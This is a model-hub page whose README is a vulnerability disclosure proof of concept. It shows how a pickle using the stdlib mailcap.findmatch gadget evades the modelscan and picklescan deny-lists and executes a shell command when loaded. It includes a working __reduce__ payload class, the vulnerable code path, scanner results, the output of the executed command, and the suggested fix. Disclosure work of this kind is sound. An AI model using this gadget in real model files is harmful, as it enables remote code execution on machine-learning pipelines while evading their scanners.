Downloads · 30 days
0
EnigmaConsultant/huntr-poc-pickle-mailcap-findmatch-ossystem-bypass
huntr-poc-pickle-mailcap-findmatch-ossystem-bypass is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted stdlib GLOBAL gadget) Targets: modelscan 0.8.8 (PickleUnsafeOpScan), picklescan 1.0.5 Environment (verified): CPython 3.12.13, Linux…
Downloads · 30 days
0
Access
Public
Updated Jul 19, 2026
Repo size
329 B
Likes
0
Public
Click a slice to open those files.
.md3.5 KB · 52%
From the Hugging Face model README
mailcap.findmatch — NEW reduce gadget bypassing modelscan 0.8.8 AND picklescan 1.0.5Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted stdlib GLOBAL gadget)
Targets: modelscan 0.8.8 (PickleUnsafeOpScan), picklescan 1.0.5
Environment (verified): CPython 3.12.13, Linux x86_64
Both scanners decide maliciousness by matching every GLOBAL/STACK_GLOBAL (module, name) against
hand-maintained deny-lists. Neither list contains the CPython standard-library module mailcap.
mailcap.findmatch(caps, MIMEtype, key='view', filename='/dev/null', plist=[]) is a plain module-level
function. Its first argument caps is the entire mailcap database as a dict — fully attacker-controlled
through the pickle. For every matching entry that carries a 'test' field, findmatch runs
os.system(test) (Lib/mailcap.py). The attacker command therefore travels entirely as a pickle string
constant; the only GLOBAL opcode is (mailcap, findmatch), which is unknown to modelscan (no issue) and
merely "Suspicious" (not Dangerous) to picklescan. Both tools exit 0 / "clean" while pickle.load()
runs an arbitrary shell command.
def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
if _find_unsafe(filename): ... # filename defaults to safe '/dev/null'
entries = lookup(caps, MIMEtype, key) # caps is attacker-controlled
for e in entries:
if 'test' in e:
test = subst(e['test'], filename, plist) # no '%' => returned verbatim
if test and os.system(test) != 0: # <-- arbitrary command executed
continue
...
subst() only refuses %s/%t/%{...} substitutions containing shell metacharacters; a plain command string
with no % passes through untouched. _find_unsafe is applied to filename/MIMEtype/params — never to
the test command itself.
class Evil:
def __reduce__(self):
import mailcap
caps = {"application/x-evil": [{"test": CMD, "view": "true"}]}
return (mailcap.findmatch, (caps, "application/x-evil"))
Only one global opcode: mailcap.findmatch. The command rides as data.
| file | picklescan 1.0.5 | modelscan 0.8.8 | pickle.load |
|---|---|---|---|
evil_mailcap.pkl | Infected files: 0, Dangerous globals: 0 (1 Suspicious), exit 0 | No issues found! exit 0 | runs id, writes marker |
control_os.pkl (negative control) | dangerous import 'posix system' FOUND, Infected: 1, exit 1 | CRITICAL system/posix, exit 1 | — |
Captured os.system output (from marker file):
uid=1000(kali) gid=1000(kali) ...
mailcap_findmatch_gadget_executed
Any pipeline that scans an untrusted .pkl/.joblib/.bin with modelscan 0.8.8 or picklescan 1.0.5 and
then pickle.load()s it gets arbitrary command execution. Limitation: the mailcap module was removed
in Python 3.13, so execution requires the victim to run Python ≤ 3.12 (still the majority of ML
deployments). The scanner bypass itself is version-independent — scanners never import mailcap.
Add mailcap: "*" to both deny-lists.
gen.py — builder (evil + negative control)evil_mailcap.pkl / evil_mailcap.joblib — 279 B payloadcontrol_os.pkl — negative control